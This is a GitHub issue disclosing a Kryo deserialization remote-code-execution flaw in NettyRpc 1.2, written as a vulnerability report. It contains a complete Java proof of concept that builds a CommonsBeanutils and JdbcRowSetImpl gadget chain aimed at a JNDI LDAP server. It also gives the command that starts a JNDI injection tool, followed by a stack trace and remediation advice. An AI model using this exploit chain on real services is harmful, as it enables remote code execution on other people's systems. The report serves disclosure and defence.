Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Kryo Deserialization Vulnerability in NettyRpc 1.2 #53

Open
MountainCui25 opened this issue Dec 1, 2023 · 0 comments
Open

Kryo Deserialization Vulnerability in NettyRpc 1.2 #53

MountainCui25 opened this issue Dec 1, 2023 · 0 comments

Comments

@MountainCui25
Copy link

Describe the Vulnerability

A deserialization vulnerability in NettyRpc v1.2 allows attackers to execute arbitrary commands via sending a crafted RPC request.

Environment

  • NettyRpc: v1.2
  • JVM version: JDK 1.8(Tested on JDK 1.8.0_65)

Preparation for Vulnerability Verification

For the purpose of this proof of concept and simplicity, the following assumptions are made:

  1. There is an additional method named "sayObject" in the HelloService
    image
    image
    image
  2. The application has dependencies on commons-collections and commons-beanutils.:
    image
    3 Remote class loading is allowed (either because an old JDK version is being used, or by using the JVM argument -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)

Exploit and Analysis

POC

  1. Obtain the JNDI injection tool from: https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

  2. Use the following command below to establish a JNDI link
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
    image

  3. Paste the provided POC code below into the project, ensuring to modify the JNDI URL address!

package com.app.test.client;

import com.netty.rpc.client.RpcClient;
import com.app.test.service.HelloService;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.Comparator;
import java.util.TreeMap;

public class RpcObject {

    public static void main(String[] args) throws Exception {
        final RpcClient rpcClient = new RpcClient("127.0.0.1:2181");
        final HelloService syncClient = rpcClient.createService(HelloService.class, "1.0");
        BeanComparator cmp = new BeanComparator("lowestSetBit", Collections.reverseOrder());
        
        // Modify the jndiURL here!
        String jndiUrl = "ldap://169.254.197.239:1389/0i9tqe";
        
        Object trig = makeTreeMap(makeJNDIRowSet(jndiUrl), cmp);
        setFieldValue(cmp, "property", "databaseMetaData");
        syncClient.helloObject(trig);
        rpcClient.stop();
    }

    public static TreeMap<Object, Object> makeTreeMap (Object tgt, Comparator comparator ) throws Exception {
        TreeMap<Object, Object> tm = new TreeMap<>(comparator);
        Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
        Constructor<?> entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl);
        entryCons.setAccessible(true);
        Field leftF = getField(entryCl, "left");
        Field rootF = getField(TreeMap.class, "root");
        Object root = entryCons.newInstance(tgt, tgt, null);
        leftF.set(root, entryCons.newInstance(tgt, tgt, root));
        rootF.set(tm, root);
        setFieldValue(tm, "size", 2);
        return tm;
    }

    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);
            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }

    public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static JdbcRowSetImpl makeJNDIRowSet (String jndiUrl ) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName(jndiUrl);
        rs.setMatchColumn("foo");
        getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
        return rs;
    }}
  1. Execute RpcServerBootstrap2 in the "com.app.test.server" package.
    image
  2. Run the POC code, and examine the obtained result:
    image
  3. Stack Trace:
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:426, PropertyUtils (org.apache.commons.beanutils)
compare:157, BeanComparator (org.apache.commons.beanutils)
compare:1291, TreeMap (java.util)
put:538, TreeMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readObject:734, Kryo (com.esotericsoftware.kryo)
read:391, DefaultArraySerializers$ObjectArraySerializer (com.esotericsoftware.kryo.serializers)
read:302, DefaultArraySerializers$ObjectArraySerializer (com.esotericsoftware.kryo.serializers)
readObject:734, Kryo (com.esotericsoftware.kryo)
read:125, ObjectField (com.esotericsoftware.kryo.serializers)
read:543, FieldSerializer (com.esotericsoftware.kryo.serializers)
readObject:712, Kryo (com.esotericsoftware.kryo)
deserialize:43, KryoSerializer (com.netty.rpc.serializer.kryo)
decode:42, RpcDecoder (com.netty.rpc.codec)
decodeRemovalReentryProtection:505, ByteToMessageDecoder (io.netty.handler.codec)
callDecode:444, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:283, ByteToMessageDecoder (io.netty.handler.codec)
invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:352, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:328, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:302, ByteToMessageDecoder (io.netty.handler.codec)
invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:352, AbstractChannelHandlerContext (io.netty.channel)
channelRead:287, IdleStateHandler (io.netty.handler.timeout)
invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:352, AbstractChannelHandlerContext (io.netty.channel)
channelRead:1422, DefaultChannelPipeline$HeadContext (io.netty.channel)
invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:931, DefaultChannelPipeline (io.netty.channel)
read:163, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)
processSelectedKey:700, NioEventLoop (io.netty.channel.nio)
processSelectedKeysOptimized:635, NioEventLoop (io.netty.channel.nio)
processSelectedKeys:552, NioEventLoop (io.netty.channel.nio)
run:514, NioEventLoop (io.netty.channel.nio)
run:1044, SingleThreadEventExecutor$6 (io.netty.util.concurrent)
run:74, ThreadExecutorMap$2 (io.netty.util.internal)
run:30, FastThreadLocalRunnable (io.netty.util.concurrent)
run:745, Thread (java.lang)

Analysis

Trigger

  1. In RpcDecoder, the default deserialization method is Kryo:

image

  1. Subsequently, KryoSerializer receives the object from com.netty.rpc.codec.RpcRequest (our malicious object) and places it into deserialization without conducting any security checks:
    image

  2. The process then follows the CommonsBeanutils gadget:
    image

Remediation Recommendations

1. Upgrade Kryo to Version 5.0 or Higher:
Upgrade the Kryo library to version 5.0 or a later release to benefit from the latest security enhancements and bug fixes.

2. Strict Outbound Internet Access Control
Due to the prevalence of known attack vectors leveraging JDNI injection to achieve Remote Code Execution (RCE), which requires the remote loading of malicious classes, it is recommended, where feasible without impacting business operations, to implement strict outbound internet access controls on server configurations.

3. Restriction of Access to Server
It is advisable to restrict external access to the server either by utilizing whitelist IP configurations or by closing public-facing ports. This measure aims to reduce the attack surface and potential risks associated with external access to the server.

4. Implementation of Whitelists/Blacklists for Serialization/Deserialization Classes
Establishing whitelists or blacklists for serialization/deserialization classes within the serialization protocol is recommended. This helps to restrict the deserialization of malicious classes. However, it is important to note that using a blacklist may introduce the risk of potential bypasses.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant